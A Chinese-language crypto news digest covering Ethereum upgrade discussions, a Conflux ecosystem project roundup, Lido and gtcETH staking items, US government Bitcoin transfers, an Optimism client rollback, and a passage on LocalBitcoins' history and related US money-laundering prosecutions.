很好的一点是，能在不下载整笔交易的情况下对交易里的一个字段进行证明。这对低带宽/存储的用例 (例如轻客户端) 特别有用。Nimbus 的开发者 Etan 在一个文档里对多个提案和开放问题进行了总结：https://hackmd.io/y1MCA5Q-R4eMVyOBHiRH7Q。由于大多数人对这个问题缺乏上下文，这个议题将在未来的会议里继续讨论。 2. 关于坎昆升级的计划，可以查看：https://ethereum-magicians.org/t/cancun-network-upgrade-meta-thread/12060/10。如果大家有希望进入坎昆升级的候选提案，可以在以上帖子上发布。 3. “EIP-4758: 停用操作码 SELFDESTRUCT”是被纳入上海升级的一个 EIP。而之所以开发者希望摆脱 SELFDESTRUCT，是因为它与无状态所需的 Verkle Tries 不兼容。EIP-4758 建议将 SELFDESTRUCT 转为 SENDALL，即资金仍然会被发送到调用者，但合约代码或存储不会被删除。这样做的挑战在于，很多合约都依赖 CREATE2 来自我销毁合约，并在相同地址上重新创建一个合约。因此找到既与 Verkle Tries 兼容 (即它不能实际上删除存储)，又不会破坏那些合约的设计就显得尤为关键。开发者 @alexberegszaszi 提出了另一个提案—— EIP-6046：用 DEACTIVATE 取代 SELFDESTRUCT (https://eips.ethereum.org/EIPS/eip-6046)。6046 聪明的地方在于它使用 nonce 来标记被“ SELFDESTRUCT”的合约，然后允许在相同地址上重新部署。不好的地方在于，它并不清理存储，这会导致被攻击。随着坎昆升级逐渐成型，开发者们在未来几周/月都会继续探讨这个设计空间。  ( 5 min )
    香港概念龙头Conflux生态盘点：离岸人民币稳定币成亮点，合规数藏遍地开花
    原文：《Conflux 生态项目盘点：突破离岸人民币 侧重数藏元宇宙》 作者：Maverick 本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规。 美国经济潜在的衰退、日益趋严的监管政策与香港大力拥抱 Web3 形成强烈的反差，老外纷纷将 Crypto 增长势头的动力指向以香港为代表的中国市场和投资者，甚至还喊出了“Long China”的口号。从曾经极力掩饰“国产团队”到如今主动秀出汉语增强归属感，不少项目在一夜间完成了由国外向国内身份 180° 的大切换。作为主打中国区块链的 Conflux 先后与小红书、中国电信等国内大厂达成战略合作，并结合国内政策环境，形成了其他公链所没有的、独特的数藏生态。本文将为大家盘点来自于 Conflux 生态项目。 Fluent（https://fluentwallet.com/） 由 Conflux 官方支持和推荐的钱包，用户可以在 Chrome、FireFox 和 Edge 浏览器上作为插件使用。Fluent 支持包括 Conflux eSpace、Ethereum 等 EVM 链，用户可以在一个拓展钱包中使用 Conflux Core 和 eSpace 进行资产的转移和存储。此外，Fluent 还支持 HD 钱包和硬件钱包。 AnyWeb（https://anyweb.cc/） AnyWeb 数连是针对中国用户使用习惯设计的区块链资产钱包，支持标准 NFT 资产管理、App、移动端H5、小程序以及 Conflux 公链。AnyWeb 无 Token 相关功能、实名上链以及由热钱包云端加密托管，并支持官方 SDK 无缝接入。 Swappi（https://app.swappi.io/#/swap） Swappi 是 Conflux 链上最常用的 DEX，用户可以使用交易、流动性挖矿、质押、彩票以及 Launchpad 等功能，支持包括 BNB、ETH、WBTC 、USDC、CFX 在内的 15 种资产交易，以及 CFX-ETH、CFX-USDT、CFX-WBTC 、CFX-USDC 等 19 种流动性挖矿 LP。Swappi 已推出治理 Token PPI 以及 Genesis Pass NFT ，该 NFT 可以给持有者带来白名单、其他 Conflux eSpace 项目的空投资格等权益。据 DeFiLlama 数据，当前 Swappi TVL 约 1200 万美元，占 Conflux 全链 TVL 的 82%。 Moonswap（https://moonswap.fi/） Moonswap 是 Conflux 上第二大 DEX，由 Conflux Network 和跨链资产协议 ShuttleFlow 支持，并且使用不需要用户支付 Gas，由 Conflux 合约代为付费。该项目完全由社区驱动，目前支持 ERC20、CRC20、ERC721 和 ERC1155 的多种 FT 和 NFT 资产。用户可以在该平台上进行交易和提供流动性以及 Conflux 链上的 NFT 交易和拍卖。另外，Moonswap 还提供治理系统，持有不可交易 Token XGenesis 的社区用户可以投票参与，而 XGenesis 由 Genesis NFT、Believer NFT、Dreamer NFT、Aspirant NFT、Resonator NFT 或 Idealist NFT 兑换。 Nucleon（https://www.nucleon.space/#/data/stake） Nucleon 是 Conflux PoS 的流动性质押解决方案，允许用户在无需锁定资产或维护基础设施条件下质押 CFX。当用户使用该平台进行质押时，会收到 1:1 比例的 xCFX（代表其所质押的 CFX）。xCFX 可以帮助用户赚取收益和贷款奖励，并会每天更新余额以反映 CFX 质押奖励。Nucleon 对质押用户收取质押收益中的 10% 作为服务费。Nucleon 已推出 NUT，持有者可以对使用国库资金的提案进行投票。当前 Nucleon 上共质押了超过 1200 万枚 CFX，价值超过 680 万美元，APY 约 18.7%。 Goledo（https://www.goledo.cash/） Goledo 是一个 Fork Aave 的借贷协议。平台收入来自于借贷利息差和闪电贷费用，其中收入的 50% 分配给 GOL 质押者和锁仓用户，另一半则流入 Goledo 国库。此外，与无锁仓期的质押不同，对于锁仓 GOL 的用户将会有三个月的锁仓期，除了也可以享受平台收入外，如果提前取出，则会面临 50% 的罚款，罚款将分配给其他 GOL 锁仓用户。 CNHC（https://www.cnhc.to/） CNHC（CNH Coin）是一种以 1:1 的比例与人民币挂钩的稳定币，目前已在 Conflux 和 Ethereum 上发行。CNHC 集团的法币储备由国际知名托管银行持有的持牌信托保护，独立审计公司会定期审查 CNHC 的离岸人民币储备。不过由于合规原因，CNHC 不对中国大陆的用户提供服务。除了 Conflux 外，CNHC 的合作伙伴还包括 Circle 和 KuCoin。 INS3（https://conflux.ins3.insure/#/ins3/overall） INS3 是去中心化的跨链保险和保险提供商，采用"DeFi+NFT+oracle+跨链"创新模式为用户提供 CDS 商业保险，该项目在偿付机制上通过预言机和用户公平博弈的方式实现自动化偿付判断，用户可以在 Conflux、Ethereum、HECO、BSC 和 Polygon 上购买保险服务。在 Conflux 链上，INS3 保护着约 2.5 万美元的资产。 ShuttleFlow（https://shuttleflow.io/） ShuttleFlow 通过 Conflux 链作为中继桥梁支持资产跨链，支持 Fluent 或 MetaMask。当前 ShuttleFlow 支持 ETH、LINK、USDC 等 49 种资产在 Conflux、BSC、Ethereum、Bitcoin、HECO、OKExChain 六个网络上跨链。 淘派（https://www.taopainft.com/） 淘派是由上海树图区块链研究院内部孵化，基于 Conflux 公链的 Web3 和元宇宙解决方案平台，包含区块链底层技术、NFT 发行交易平台、Web3 生态整合、元宇宙虚拟技术等。2022 年 1 月 11 日，数字藏品发行与交易平台淘派正式上线，合作发行过冬奥冠军徐梦桃个人 Q 版、《尚食》系列、《凹凸世界》国漫等数字藏品。此外，淘派官方还发布过由 AI 算法生成的《烤仔的朋友》头像系列，并登陆了《新民周刊》封面。 薄盒 Mints（https://mintstech.cn/） 薄盒提供模块化的区块链解决方案，可以为企业定制数字藏品 Saas 系统帮助企业管理自己的数字藏品平台；另外薄荷还提供品牌资源聚合，帮助品牌发行数字藏品。此前，薄盒与周杰伦合作打造了“周杰伦限量珍藏 Demo 空间”，包含了《青花瓷》《爱在西元前》等 5 首 Demo 音乐数字藏品。 双镜（http://www.shuangjingbowu.cn/） 双镜是一站式的数字藏品解决方案供应商，拥有自主数藏发行平台双镜博物，可为项目方提供藏品、盲盒、空投等多种模式并存的发行方案。目前双镜与⻄安博物院、南京博物总馆等多个国内博物馆、多个国家级⾮遗项⽬代表性传承⼈打成长期合作，发行了北京⽟雕【⾦镶⽟ 福⻁添翼】、京绣【⻰凤双喜同合袍】等燕京⼋绝系列。此外，双镜还打造其独特的数字 IP 形象泽宝系列，并作为双镜吉祥物，渗透到数藏发行、社区运营（头像、表情包、潮玩）等多个环节中。 Conflux 目前已与多个 Web2 品牌进行数字藏品/NFT 方面的合作（如下图）。Conflux 联合创始人张元杰曾在去年 10 月时表示，现已经有超过 800 万个数字藏品在 Conflux 发行，超过 300 万的独立用户，服务了超过 300 个品牌 IP，其中不乏爱奇艺、解放日报、开心麻花等知名国内品牌。 Conflux Name Service（https://app.web3verse.space/） ".web3 用户名"是基于 Conflux 链的用户名系统。首批支持 .web3 用户名的有：Anyweb，ConfluxScan，Fluent，heyfoo，数盒，晒啦，Meta Name，区块积木，淘派等。目前开放注册 5 位及 5 位以上的用户名，费用为 30 元一年，可通过支付宝扫码支付；后续会逐步开放注册 5 位以下的用户名，目前仅面向中国大陆市场开放。 宇现 Discoverse Discoverse 宇现将在 Conflux 上自建适应 SBT 协议的去中心化数据服务层，并通过汇总多链的 SBT 数据提供数据开放和分析服务。项目 MVP 预计在今年 6 月前上线，包括 H5 小程序、APP 和官网，将支持四类灵魂凭证的点对点签收、发放和销毁，并打造种子用户社区。 CaTalk CaTalk 定位是基于 Conflux DID 的 Web3 社群。用户将在链上拥有诸如数字资产 NFT、数字身份 SBT 等的全新身份属性。基于全新的身份将会产生全新的社交链接，以同一种身份的群将成为社交的重点形态，CaTalk 将把这个群在 DID 的基础上重建。目前 CaTalk 已自建 NFT/数藏发行平台超喵，并计划在短期内与国内 50 个数藏项目合作，建立项目持仓群聊，并进一步完善群聊+话题为核心的平台基础服务与功能细节。 莫塞元宇宙（https://www.mossai.com/） 莫塞 MOSSAI 元宇宙力打可持续蓝色元宇宙的品牌口号，通过 AI 将全球岛屿（包括消失岛屿）生成为 NFT 海岛。MOSSAI 元宇宙有三大岛屿生态，分别是原生岛、躺平岛和涌现岛，其中的每一个岛屿都是一个独立的智能合约。莫塞元宇宙还包含莫塞利安人——灵魂绑定分身 SBA、加密元水母 NFG、涌现未来城（公寓、商铺等）等生态。目前亚马逊云科技、斑马中国、航天文创、艺术家谭恩等企业或个人入驻了莫塞元宇宙。 参考： https://mp.weixin.qq.com/s/1-O2XW_447fXzpTTPbz9bw  ( 6 min )
    Lido关于在以太坊上V2版本升级的提案已获投票通过
    PANews 3月8日消息，Snapshot页面显示，Lido关于在以太坊上V2版本升级的提案以100%的支持率获得投票通过。根据该提案，V2版本升级将包括对以太坊提款的支持以及质押路由器。Lido计划在提案通过后于3月7日至31日期间在Goerli测试网上进行测试。V2版本在主网上的部署则取决于以太坊Shapella升级时间以及审计结束时间。  ( 4 min )
    不要收益，只谈公益？gtcETH或许是最“政治正确”的LSD产品
    原文：《浅析gtcETH：或许是最“政治正确”的LSD产品》 作者：Azuma 3 月 8 日凌晨，去中心化捐赠平台 Gitcoin 于官推正式公布了其与指数协议 Index Coop 联合推出的流动性质押指数代币 Gitcoin Staked ETH Index（gtcETH）的详细信息，并在附带的官网文章中公开了 Index Coop 上的 gtcETH 交易及铸造前端。 然而，截至发文的综合数据来看，市场对于gtcETH 所主打的“公益”叙事似乎并不太买账。截至发文，gtcETH 的流通供应仅为 61 枚，流通总市值尚不足 10 万美元。 最“政治正确”的 LSD 产品 gtcETH 是由 Gitcoin 和 IndexCoop 联合推出的一款 LSD 指数代币，双方发行该代币的主要目的是为了探索一种全新的、行之有效的、具备可持续性的公共物品（public goods）捐赠机制。 作为一个 ERC-20 标准的代币，gtcETH 与我们所熟知的 stETH、rETH 等 LSD 代币有着诸多共同点，比如： 然而，gtcETH 与此类代币也有一定的区别，比如： 在 gtcETH 的设计中，究竟该剥离出多少收益，取决于streaming fee 这一参数。当前，streaming fee参数为 2%（收益百分比基础上直接做减法），具体由流向 Gitcoin Grants 的 1.75% 以及流向IndexCoop 的 0.25% 组成。 Gitcoin 官方举了个例子，假设 ETH 稳定在 1700 美元，质押收益稳定在 5% 左右，那么一年下来 1 单位的 ETH 将可获得 0.05 ETH 的质押收益。如果用户选择持有 gtcETH，那么 0.05 ETH 中的 0.03 ETH 将归用户所有，剩余 0.02% 将被剥离，其中 0.0175 将流向 Gitcoin Grants 用于捐增，剩余 0.0025 则将作为费用流向IndexCoop。 在该条件下（ETH 1700 美元），gtcETH 内每100 万美元的 TVL 每年将为 Gitcoin Grants 贡献约 17500 美元的资金，从而改善公共物品捐赠渠道较少、开发资金不足的问题。 从 gtcETH 的设计中不难看出，由于需要剥离一小半的质押收益，持有gtcETH 的被动收益率将永远低于普通的 LSD 代币，更别提其他添加了额外激励措施的衍生代币了。 根据IndexCoop所给的资料，gtcETH 初期的支撑资产将由 wstETH（Lido）、rETH（Rocket Pool）、sETH2（StakeWise）等三种 LSD 代币组成，三者的比例分别约为 30%、44%、26%。 在将三种代币的实时收益率、费用情况以及组合比例加权计算后，gtcETH 的实时收益率在扣除了 2% 的streaming fee 后将仅有约 2.53%，该收益水平在当前“卷到飞起”的 LSD 赛道实在有些不够看。逐利是资金的天性，因此就不难理解为什么gtcETH 的供应数据会如此“惨淡”了。 不过，反市场而行的gtcETH 也并非没有自己的独特优势。 由于 gtcETH天然的“政治正确”性，对于品牌、形象有着宣传需求的个人、项目和机构或许会考虑舍弃部分收益，利用 gtcETH 来支持公共物品的开发工作，从而换取一定社区声誉。 此外多少有些脑补的另一种可能是，gtcETH 的属性决定了其持有者会持续不断地为公共事业作出贡献（收益被剥离），因此在推特上也有部分用户认为 gtcETH 有潜力成为行业未来的一项空投标准。这条路子虽然投机色彩过浓，但如果能够刺激 gtcETH 的供应，从而扩大对公共事业的捐赠力度，也未尝不是一件好事。 综合来看，延续了 Gitcoin 基因的 gtcETH 在定位上就与常规 LSD 代币完全不同，将其强行列入 LSD 大战之内其实也不太合理。随着上海升级的临近，LSD 正逐渐成为整个加密货币行业的主流叙事，在其他项目想方设法地抬高激励、抢占市场之余，我们很高兴能够看到 gtcETH 围绕着 LSD 做出方向截然不同的创新，甚至期望看到更多的项目走上类似的道路。 它或许不会带来什么财富效应，但却有望毗益整个行业。  ( 5 min )
    派盾：美国执法部门将4.9万枚BTC转至Coinbase和另外两个地址
    PANews 3月8日消息，派盾监测数据显示，美国执法部门相关地址将4.9万枚BTC（价值约合10亿美元）转至Coinbase（超过9,800枚BTC）、bc1qf2开头地址（超过3万枚BTC）和bc1qe7开头地址（约9,000枚BTC）。这部分BTC是美国执法部门于2021年11月和2022年3月扣押的Silk Road非法所得。 加密数据分析公司Glassnode对此表示，该执法部门转入的另外两个地址（bc1qf2和bc1qe7开头的地址）或为内部转账。  ( 4 min )
    Optimism：最新版本存在问题，已更新者需回滚至op-geth版本
    PANews 3月8日消息，以太坊L2网络Optimism发推称，此前要求基础设施提供商在Optimism Goerli硬分叉之前将op-geth更新到新版本，但现在已发现最新版本存在问题，目前正在更新代码存储库以解决相关问题。 对于已经更新了版本的基础设施提供商，Optimism要求回滚到以前版本的op-geth，如果尚未更新则无需执行任何操作，Optimism将很快分享更新版本。 此前3月6日消息，Optimism将于3月18日进行Optimism Goerli硬分叉升级。目前官方已删除此推文，并称这是因为相关信息不准确。  ( 4 min )
    LocalBitcoins的兴衰十年：从OTC之王到黯然离场，“去中心化人设”崩塌的必然结局
    原文：《比特币 OTC 之王谢幕：重走 LocalBitcoins 的兴衰十年》 作者：Peng SUN，Foresight News 如果没有交易所，你会如何购买加密货币？如果你希望加密货币现金交易不受追踪，你会选择什么方式？ 前者，你的选择一定是 OTC。如果结合后者，你一定会想到线下现金交易的 OTC。当然，纯现金交易在当代社会已经少之又少了。面对中心化交易所 OTC 交易的冻卡风险，足够安全的方式就是与身边相对信任的熟人进行 P2P 交易。 在加密货币交易史上，点对点的比特币交易平台 LocalBitcoins 不应被忘记，这是世界上最大的比特币场外交易平台，为比特币的全球采用做出了不可磨灭的贡献。LocalBitcoins 天然地忠于比特币点对点的去中心化精神，尽管它并非 DEX，却是一个有别于 Coinbase、Circle、Binance 等中心化交易所的交易平台。 自 2012 年诞生以来，LocalBitcoins 创造了属于它自己的辉煌，但最终为现实所迫，于 2023 年 2 月 9 日宣布停止服务。有鉴于此，本文将回顾 LocalBitcoins 十年发展简史，从文字、数据与图片中重现 LocalBitcoins 的诞生、发展、辉煌与衰落之路。更为重要的是，LocalBitcoins 兴亡史能让我们从不为人知的一面了解 LocalBitcoins 在比特币与加密行业全球普及之路上所作的贡献，并且促使我们进一步思考「我们从哪里来，我们要到哪里去」。 LocalBitcoins.com 官网 一、基于本地的现金交易：LocalBitcoins 的诞生与早期发展 LocalBitcoins 是一个位于芬兰赫尔辛基的点对点比特币场外交易平台，由芬兰软件开发者 Jeremias Kangas 于 2012 年 6 月创立，其目标就是让比特币无处不在并推动全球金融普惠。 LocalBitcoins 创始人 Jeremias Kangas 2011 年，Kangas 接触到比特币，他发现由于银行和政府的限制，许多人无法使用传统的交易平台购买比特币。2012 年，Kangas 花了两周的时间创建 LocalBitcoins.com，最初该网站只提供基于交易地点的交易列表，没有用户账户和 URL 标识。在发布当天，比特币卖家便迅速涌入列出其交易地点。早期的网站开发基本是由 Kangas 一人完成，至 2013 年末公司才雇佣 9 名员工和世界各地的自由职业者共同开发。 2012 年 6 月 16 日 LocalBitcoins.com 官网，1 BTC = 6.14 USD 2012 年底，LocalBitcoins 开始实施托管商业模式，2013 年初开始盈利。用户必须拥有 LocalBitcoins 钱包且存入比特币才能使用托管服务。买方 / 卖方需在 LocalBitcoins 上搜索并响应比特币卖方 / 买方发布的广告，广告包括比特币价格、接受的支付方式和限额。在每笔交易中，LocalBitcoins 都会将比特币保存在托管账户中。如 LocalBitcoins 的「local」所暗示的，它为「本地」而设计，即比特币交易双方需约定线下地点见面完成，卖方确认其收到法币现金后，比特币将从托管服务中释放并发送给买方。在 LocalBitcoins 上买卖比特币不收取任何费用，如果发布出售比特币的广告，平台则对每笔完成的交易收取 1% 的托管费，LocalBitcoins 充当买卖双方之间的信任方。如下图所示： LocalBitcoins 交易方式 2013 年 6 月 14 日，LocalBitcoins 创建一周年时已有 44,000 名用户，遍布 142 个国家、1700 个城市，平均每天新注册用户约 250 个，日交易量约 400-900 BTC。用户可以在 Localbitcoins 上以 XAU（黄金盎司）和 XAG（白银盎司）为 BTC 定价。2014 年 11 月，英国比特币交易所 Netagio CEO Simon Hamblin 表示，英国交易所在英镑与比特币市场上的交易量落后于 LocalBitcoins 等场外交易平台。 2013 年 10 月 8 日，Kangas 在 BitcoinTalk 上发布穿越非洲的「摩托之旅」活动，赞助 Borja 与 Elvis 夫妇骑行摩托车穿越摩洛哥、西撒哈拉、毛里塔尼亚、塞内加尔、马里、布基纳法索、多哥、贝宁、喀麦隆、尼日利亚、刚果共和国、刚果民主共和国、安哥拉、纳米比亚、博斯瓦那、南非 16 个国家。这场活动顺利开展，Borja 在旅行期间从所经过的每个国家 / 城市找到了愿意以当地货币交换比特币的居民。此举无疑扩大了 LocalBitcoins 的全球采用与比特币的普及，他们证明了比特币的可交易性。 2013 年 7 月，Jeremias Kangas 与 LocalBitcoins.com 被邀请参加 2013 年首届伦敦比特币大会「比特币初创生态系统的后起之秀」小组讨论。可见，LocalBitcoins 在比特币社区的影响已初步建立。2014 年 1 月 18 日，首届 Satoshi Square 活动在伦敦金融城边缘 Bishops Square 举行，允许人们面对面进行比特币交易。这是一场「非正式的社交活动」，重点是让刚接触比特币的人了解这种数字货币。比特币爱好者也在此讨论加密货币、最新的挖矿技术和比特币交易。除此之外，用户也可以使用 LocalBitcoins 在现实世界进行比特币线下交易。 早期 LocalBitcoins 的受众增长还得益于 Mt.Gox，2013 年 6 月 25 日至 2014 年，Mt.Gox 危机也促进了 LocalBitcoins 市场份额迅速扩张。譬如，2013 年 12 月 10 日，Mt.Gox 与 AstroPay 合作为拉丁美洲（阿根廷、巴西、智利、哥伦比亚、墨西哥、秘鲁、乌拉圭）用户提供美元与比特币存提款。但几天后阿根廷的银行选项消失了，不再适用于阿根廷的比特币社区。「在阿根廷，比特币用户已经习惯于使用 Conectabitcoin、LatinCoin、LocalBitcoins 甚至 Facebook 群组等网站在本地买卖比特币。」 至 2013 年底，台湾唯一的比特币交易所是 LocalBitcoins，LocalBitcoins 也是埃及、日本、阿尔巴尼亚、印度尼西亚比特币爱好者的热门选择。2014 年 3 月 31 日，委内瑞拉恶性通货膨胀与银行倒闭后，LocalBitcoins、Bitcoin Venezuela 在全国各地都有非正式的聚会、会议和交流。 2015 年 5 月 2 日，一位在 LocalBitcoins 上进行线下交易的比特币买家表示，「在纽约、伦敦、洛杉矶和东京等城市，几乎一天中的任何时候，你都可以在街上、在他们的公寓里，或者就我而言，在灯火通明、繁忙的星巴克遇到某人，然后给他们一些现金以换取数字货币。」 2013 年 11 月，乌克兰反政府暴力抗议活动后，乌克兰抗议者们通过比特币筹集资金，由于需要兑换成乌克兰格里夫纳（hryvnia）才能在乌克兰使用，而唯一可用的比特币交易所只有 BTC-e，因此，LocalBitcoins 之类的 P2P 交易平台就成为乌克兰抗议者的最佳选择。 同样地，由于无法访问功能齐全的在线交易所，LocalBitcoins 与比特币在拉丁美洲开始被视为资金流动管道。12 月 19 日，比特币汇款初创公司 Coincove 使用 LocalBitcoins 平台，允许其客户亲自将法币带到当地的比特币经销商处。Coincove 提供的服务是将他们的加密货币兑换成美元，以便客户可以将钱转移到世界各地的不同国家。Coincove 将比特币作为资金流动的管道。最初选择四个国家开展业务：阿根廷、墨西哥、西班牙和智利，后三个国家拥有重要的阿根廷社区，需要在经济上与其祖国建立联系。 2013 年，乌克兰抗议者们通过比特币筹集资金 （四）功能与服务：ATM、Invoice 与在线支付 LocalBitcoins 自身功能与服务的更新也促进了早期的发展。 （1）LocalBitcoins ATM 由于更多的人和企业使用比特币，因此轻松便捷的兑换服务成为一种日益高涨的需求。为了弥补与客户之间更直接联系的不足，LocalBitcoins 决定推出 ATM 以实现比特币交易业务的自动化。比特币 ATM 机最初是由 bitcoinkiosk.com 开发的，LocalBitcoins.com 于 2013 年 12 月收购了整套产品。2014 年 2 月 17 日，LocalBitcoins 宣布生产 LocalBitcoins ATM，用户可以通过 ATM 买卖 BTC。它采用了一项新技术，使 ATM 可以在没有互联网连接的情况下工作，而交易发生在 LocalBitcoins 网站上。 在赫尔辛基比特币会议上，使用比特币 ATM 购买啤酒 2014 年 3 月 31 日，LocalBitcoins ATM 运营商 Cointter 发推称在芬兰赫尔辛基的 24 小时售货亭 Delish 中推出第一台测试版 LocalBitcoins ATM。这是北欧第一台双向比特币 ATM，可以买卖比特币兑换现金，溢价率为 5-8%，足以供运营商赚取差价。4 月 18 日，Cointter 在 Kynsilaukan 餐厅推出第二台 ATM，引起媒体关注。2014 年 8 月 11 日，LocalBitcoins.com 宣布将 LocalBitcoins ATM:s 集成到 LocalBitcoins 网站，比特币交易发生在 LocalBitcoins.com 上，ATM 只处理法币交易。 24 小时售货亭 Delish 的 LocalBitcoins ATM LocalBitcoins ATM:s （2）Invoice 2014 年 9 月 8 日，LocalBitcoins 在其网站上推出比特币付费功能，用户可以发送和管理 invoice（类似于收款码），允许客户以比特币进行付款。该产品标志着点对点平台的第一个商家特定产品，起初是为公司的比特币 ATM 产品开发的，后推广到所有用户。Invoice 支付金额可以任何货币计价，收款人打开 Invoice 后则按当前汇率转换为 BTC。 2014 年 9 月 10 日 LocalBitcoins 官网主页 2014 年 9 月 8 日，LocalBitcoins 推出第一个商家工具 Invoice （3）在线支付 如前文所言，LocalBitcoins 本身是为「本地」现金交易而创建的场外交易平台，在 2012 年 6 月至 2013 年 1 月 15 日，LocalBitcoins 官网仍通过发布具体地理位置进行交易。但是，从 Internet Archive 对 2013 年 2 月 15 日快照中可以发现，LocalBitcoins 已新增「在线支付」功能，包括 PNC 银行在线转账、OKPay、Paypal 等。此后，又增加多种在线支付方式。这一功能的添加为更多分隔异地的用户通过 LocalBitcoins 进行比特币现金交易提供可能。2013 年 6 月，Kangas 曾表示：「起初，我们只是一家本地现金交易所，但后来人们想在线交易。」因此，他引入了对其他支付机制的支持，其中包括 PayPal 或公认的银行系统，将 LocalBitcoins.com 转变成一个基于物理世界或互联网的 P2P 交易机制。 2013 年 1 月 15 日，LocalBitcoins.com 上的「Cash」交易广告列表 2016 年 2 月 29 日官网支持的支付方式 二、在监管与抗审查之间：LocalBitcoins 的「黄金时代」 老大哥在看着你。——乔治·奥威尔 早在 2013 年，监管问题就已经出现在人们的脑海里，「比特币会被不友好的监管机构或政府关闭吗？」「古巴或朝鲜政府怎么能够阻止我买卖比特币？」「你担心审查制度吗？」Jeremias Kangas 给出了答案，「比特币不会被关闭」，但是「像 LocalBitcoins.com 这样的服务会被关闭」。同年 7 月在伦敦举行的首届比特币大会上，「监管与法律挑战」已经成为比特币发展的重要话题。 譬如，2013 年 8 月泰国比特币交易所 Bitcoin Co LTD 因监管原因关停，Facebook 泰国比特币群组代表 Frankie Bishop 表示，在该交易所关停期间，「当地社区使用 OKPAY 和 LocalBitcoins.com 等进行比特币交易」，尽管泰国政府有时会采取严厉的互联网控制措施，但 LocalBitcoins 等交易平台「从未被封」。2014 年 12 月，LocalBitcoins 创始人 Kangas 称，德国金融监管机构 BaFin（Bundesanstalt für Finanzdienstleistungsaufsicht）联系 LocalBitcoins，需要某种许可才能在该国运营。但 LocalBitcoins 当时还没有该许可，遂决定暂停在德国的业务。Kangas 指出，LocalBitcoins 在德国为 8000 名活跃用户提供服务，「这项服务实际上有一部分起源于德国，所以我们不能再在那里提供这项服务有点讽刺和悲伤」。 多年来，LocalBitcoins 一直面临政治压力，部分原因在于其宽松的身份识别程序。买卖双方也无需使用真实姓名，线下 P2P 交易方式不会留下任何交易记录，并且只要保持较小的交易规模，LocalBitcoins 也就成为增量洗钱的自然选择。正因如此，丝绸之路的暗网交易在通过 LocalBitcoins 实现了利润的井喷。由于暗网中非法行动的猖獗，美国特勤局特工在该交易所卧底，并相继逮捕多起通过 LocalBitcoins 洗钱的用户。2015 年，LocalBitcoins 因未能获得纽约州的 BitLicense 而撤出纽约。 由于不会留下任何数字交易记录，发生在美国的点对点比特币交易在 2014 年开始逐渐被定为一种犯罪。2014 年至 2022 年间，无论是单纯地进行比特币现金交易，还是参与从事犯罪活动，有多起使用 LocalBitcoins 的美国人因经营无牌汇款服务（MSB）和洗钱等相关犯罪被逮捕。 （1）2014 年 2014 年 2 月 8 日，美国特勤局根据反洗钱法起诉佛罗里达州两名男子 Michell Abner Espinoza 与 Pascal Reid，他们因使用 LocalBitcoins.com 转移大量比特币。 2013 年底，迈阿密警察局和美国特勤局组成一个工作组开始调查该地区的比特币交易活动。侦探 Ricardo Arias 和特工 Gregory Ponzi 通过 LocalBitcoins 联系 Michell Abner Espinoza，并于 2014 年 1 月至 2 月期间安排几次会面。在几次会面期间，卧底特工表示他们打算用数字货币购买被盗的信用卡号码，Espinoza 向特工出售 1500 美元比特币，并在计划出售 3 万美元比特币时被捕。 他们的第二项罪名则是经营无牌汇款服务，法规 560.125 禁止人们在佛罗里达州任何 12 个月内频繁从事超过 300 美元但低于 2 万美元的无牌汇款服务。根据涉案金额，可分为三级、二级或一级重罪。在任何 12 个月内交换超过 100,000 美元的资金被视为一级重罪，可以处以两倍于货币价值的罚款，最高可达 250,000 美元。Espinoza 在 LocalBitcoins.com 上以 MichaelHack 的名义进行交易，在过去六个月中交易了 150 多个比特币。这是各州首次决定对涉及比特币的案件提起洗钱指控。 对此，Jeremias Kangas 表示，LocalBitcoins 依赖用户在进行交易时遵守本国法律，「这是我们的指导方针，但我们很难照顾好每一个人。」但同时，Kangas 也表示，目前，用户在处理面对面交易时需要相互验证，该公司一直致力于中央验证系统，尽管尚未实施：「我们必须有更多的审查和工具来确保我们网站上的一切都是合法的，我们的用户可以遵守他们当地的法律。我们在这方面花费了大量资源，但我们是一家初创公司。」Kangas 也承认，LocalBitcoins.com 不限制交易规模，但这是有可能实施的。 2014 年 4 月 10 日，Espinoza 与 Reid 援引美国国税局（IRS）关于比特币不是货币而是「财产」（property）的指南申请撤销洗钱指控。2014 年 8 月 2 日，比特币基金会向法庭提交名为「Amicus Curiae」的文件，试图驳回依据佛罗里达州法规 560.125 对 Pascal Reid 经营无牌汇款服务的指控，其核心立场是「州检察官将佛罗里达州监管的法规不恰当地用于进行比特币点对点销售的个人」。但是，比特币基金会发言人称，Michell Abner Espinoza 的案件与 Reid 的案件是分开的。2014 年 12 月 13 日，佛罗里达州巡回法院法官裁决，建议根据州法规，个人比特币交易商可以被视为汇款人，Reid 败诉。 2015 年，法官判处 Pascal Reid 服刑 90 天，Reid 承认未经许可的汇款人经营罪，被处以 5 年缓刑，并必须向执法部门和金融实体提供有关比特币和数字货币的信息协助。Reid 需要完成「不少于 20 次关于数字货币和网络犯罪的培训」，并向迈阿密海滩警察局、美国特勤局和迈阿密电子犯罪特别工作组提供帮助。 2016 年，迈阿密法官 Teresa Mary Pooler 指出，Michell Abner Espinoza 不符合检方所称的汇款人资格，但这次裁决并未成为此后类似案件的先例。 （2）2017 年 2017 年 5 月 2 日，密苏里州尼克萨市的 LocalBitcoins 用户 Jason R. Klein 在联邦法院认罪，承认未经许可通过比特币兑换现金进行非法汇款业务。Klein 承认，在 2015 年 2 月 6 日至 2016 年 7 月 27 日期间，五次会见两名卧底联邦特工并出售比特币。Klein 总共向代理人出售大约 98 枚 BTC，获得 3 万美元现金，并额外收取 10% 的佣金。Klein 从 2013 开始就在 LocalBitcoins 上出售比特币，大部分交易广告都是 2013 年发布的。 2017 年 5 月 17 日，密歇根州底特律市的 LocalBitcoins 用户 Sal Mansy 在美国地方法院承认违反《美国法典》第 18 章第 1960 节经营无牌货币服务业务。2013 年 8 月至 2015 年 6 月期间，Mansy 在 Coinbase 与 Bitstamp 购买比特币后在 LocalBitcoins 上出售价值约 240 万美元比特币，并将收益存入个人公司 TV TOYZ 的商业银行账户。卧底特工曾在 2014 年 12 月至 2015 年 3 月间与 Mansy 进行两次交易，总金额为 6.32 枚 BTC（当时价格低于 1900 美元）。Coinbase 也因 Mansy 未在美国金融犯罪执法网络（FinCEN）注册为汇款人而关闭其账户。2015 年 6 月，检方搜查他在底特律住所，并没收其三个银行账户，总计约 12 万美元。同时，Mansy 被判以最高 5 年的监禁与 25 万美元罚款。 2017 年 5 月 25 日，LocalBitcoins 交易商、Shreveport 按摩师 Randall Bryan Lord 与他的儿子 Michael Aaron Lord 